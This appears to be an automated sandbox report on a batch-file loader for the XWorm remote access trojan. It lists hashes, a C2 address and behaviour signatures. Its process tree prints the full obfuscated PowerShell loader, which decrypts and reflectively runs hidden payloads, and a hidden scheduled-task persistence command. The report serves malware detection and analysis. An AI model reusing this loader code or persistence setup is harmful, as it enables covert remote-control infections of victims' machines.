Analysis

  • max time kernel
    95s
  • max time network
    139s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20250217-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20250217-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    04/03/2025, 03:26

General

  • Target

    Vclient3.12-loader.bat

  • Size

    337KB

  • MD5

    b0b26501fa33bc553f9a54ca28a89a85

  • SHA1

    9f868d7d464375d1ea60c5234f4dd057ea85fce1

  • SHA256

    f60cc29ba04d75d31227e8f0417640ed962d2cbfb537072b1b00aa89df9be473

  • SHA512

    fcd9680de0ce271730f9cc5968d3172ed03e2463e53af66b19c898e7ac0e6c97717f8948d27e329f30f78ba051bb4a81acb4dc837ce602964e64470a6a0f3069

  • SSDEEP

    6144:7rVhpfca9iHDDTI3nozeFFDNwPlxR+RG7PrwzZ0qw/FU1qBIEhY:dbaHDunIxoRWrOZ05U11EhY

Malware Config

Extracted

Family

xworm

C2

45.88.91.55:8893

Attributes
  • Install_directory

    %ProgramData%

  • install_file

    sys-32.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Vclient3.12-loader.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4388
    • C:\Windows\system32\net.exe
      net file
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2944
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 file
        3⤵
          PID:4804
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IvmgzXjQuMVka6TfIyG1HvCr7DfXZYnR3O8Q3T8SJgE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JbClhals/5qz6aDu+zXVpA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $aNToN=New-Object System.IO.MemoryStream(,$param_var); $rAzqO=New-Object System.IO.MemoryStream; $bDCjb=New-Object System.IO.Compression.GZipStream($aNToN, [IO.Compression.CompressionMode]::Decompress); $bDCjb.CopyTo($rAzqO); $bDCjb.Dispose(); $aNToN.Dispose(); $rAzqO.Dispose(); $rAzqO.ToArray();}function execute_function($param_var,$param2_var){ $Wdwoi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $fjmwH=$Wdwoi.EntryPoint; $fjmwH.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Vclient3.12-loader.bat';$vmyBp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Vclient3.12-loader.bat').Split([Environment]::NewLine);foreach ($lpWSJ in $vmyBp) { if ($lpWSJ.StartsWith(':: ')) { $jqVvs=$lpWSJ.Substring(3); break; }}$payloads_var=[string[]]$jqVvs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3256
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_39_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_39.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4860
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_39.vbs"
          3⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:1412
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_39.bat" "
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2820
            • C:\Windows\system32\net.exe
              net file
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:4900
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 file
                6⤵
                  PID:4788
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IvmgzXjQuMVka6TfIyG1HvCr7DfXZYnR3O8Q3T8SJgE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JbClhals/5qz6aDu+zXVpA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $aNToN=New-Object System.IO.MemoryStream(,$param_var); $rAzqO=New-Object System.IO.MemoryStream; $bDCjb=New-Object System.IO.Compression.GZipStream($aNToN, [IO.Compression.CompressionMode]::Decompress); $bDCjb.CopyTo($rAzqO); $bDCjb.Dispose(); $aNToN.Dispose(); $rAzqO.Dispose(); $rAzqO.ToArray();}function execute_function($param_var,$param2_var){ $Wdwoi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $fjmwH=$Wdwoi.EntryPoint; $fjmwH.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_39.bat';$vmyBp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_39.bat').Split([Environment]::NewLine);foreach ($lpWSJ in $vmyBp) { if ($lpWSJ.StartsWith(':: ')) { $jqVvs=$lpWSJ.Substring(3); break; }}$payloads_var=[string[]]$jqVvs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                5⤵
                • Blocklisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:2536
      • C:\Windows\System32\rundll32.exe
        C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
        1⤵
          PID:2684

        Network

        MITRE ATT&CK Enterprise v15

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        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          3KB

          MD5

          b9cd68b5f314b5190f27a211d3506df0

          SHA1

          60c891d9a3c857fda4b75576420a54d38054c544

          SHA256

          8908f5cb47ad8627c2af37f08e4f42734cb8dd761734d27fb7745ca522e0018e

          SHA512

          1565a76680cf17ec9426dacab318124ff6374243e19550616069cd1a6149f356bb6f90ea524fbddce2082631be85831d5cb3a118d53c2c15c82096100b5b6182

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          9820605376b39dbdd48c6e3de2d2d0c3

          SHA1

          b717f9e8624e2b080cf6eab8c03ca7a215bee710

          SHA256

          f772222c53f64be53c292173d1a5df59291c0eec56081d9b3407a3779d2f45ef

          SHA512

          9d07cfe8b10b0afc9948e731ea3218924bc5276f32af668d317654a0d829435d377ca125a0d4d46004abe91c3b65c49d0b3ba2bd24d09c08fba5b92bfb0a45ca

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ohfjauji.ngj.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Roaming\startup_str_39.vbs

          Filesize

          114B

          MD5

          9409aca889b2312620ae9381eb8e4b4c

          SHA1

          617f48ba66a22b56adce636af88c955d6ece9403

          SHA256

          c1f8521fcd84e6ebb4a414d44b06673249e01fc77475aeb1be70ce987280170b

          SHA512

          d4fa1ea435730b1c01c153600ed362c09c860b4de5af541d7e308c7e999704d8150dd65e7f032f76d6c50dc88c627742110bee3ddad07f69b66e48dbd6c10c33

        • memory/2536-51-0x000001A823A40000-0x000001A823A72000-memory.dmp

          Filesize

          200KB

        • memory/3256-12-0x00007FFE14E90000-0x00007FFE15952000-memory.dmp

          Filesize

          10.8MB

        • memory/3256-14-0x0000026ED22D0000-0x0000026ED22D8000-memory.dmp

          Filesize

          32KB

        • memory/3256-15-0x0000026ED22E0000-0x0000026ED2322000-memory.dmp

          Filesize

          264KB

        • memory/3256-13-0x00007FFE14E90000-0x00007FFE15952000-memory.dmp

          Filesize

          10.8MB

        • memory/3256-0-0x00007FFE14E93000-0x00007FFE14E95000-memory.dmp

          Filesize

          8KB

        • memory/3256-11-0x00007FFE14E90000-0x00007FFE15952000-memory.dmp

          Filesize

          10.8MB

        • memory/3256-10-0x0000026ED2040000-0x0000026ED2062000-memory.dmp

          Filesize

          136KB

        • memory/3256-52-0x00007FFE14E90000-0x00007FFE15952000-memory.dmp

          Filesize

          10.8MB

        • memory/4860-26-0x00007FFE14E90000-0x00007FFE15952000-memory.dmp

          Filesize

          10.8MB

        • memory/4860-27-0x00007FFE14E90000-0x00007FFE15952000-memory.dmp

          Filesize

          10.8MB

        • memory/4860-28-0x00007FFE14E90000-0x00007FFE15952000-memory.dmp

          Filesize

          10.8MB

        • memory/4860-31-0x00007FFE14E90000-0x00007FFE15952000-memory.dmp

          Filesize

          10.8MB